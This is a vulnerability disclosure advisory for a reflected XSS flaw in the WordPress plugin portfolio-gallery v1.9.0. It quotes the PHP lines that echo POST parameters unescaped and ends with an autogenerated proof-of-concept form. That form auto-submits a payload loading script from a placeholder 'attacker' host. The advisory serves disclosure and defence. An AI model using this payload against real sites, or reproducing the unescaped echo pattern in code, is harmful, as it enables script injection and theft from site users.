Advisory #: 1025
Title: Reflected XSS in wordpress plugin portfolio-gallery v1.9.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/portfolio-gallery
Downloads: 399834
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: portfolio-gallery
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./portfolio-gallery/admin/portfolios_view.php: 312: <input type="hidden" name="asc_or_desc" id="asc_or_desc" value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" /> 313: <input type="hidden" name="order_by" id="order_by" value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" /> The variable asc_or_desc appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./portfolio-gallery/admin/portfolios_view.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/portfolio-gallery/admin/portfolios_view.php method=post> <input type=hidden name=asc_or_desc value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>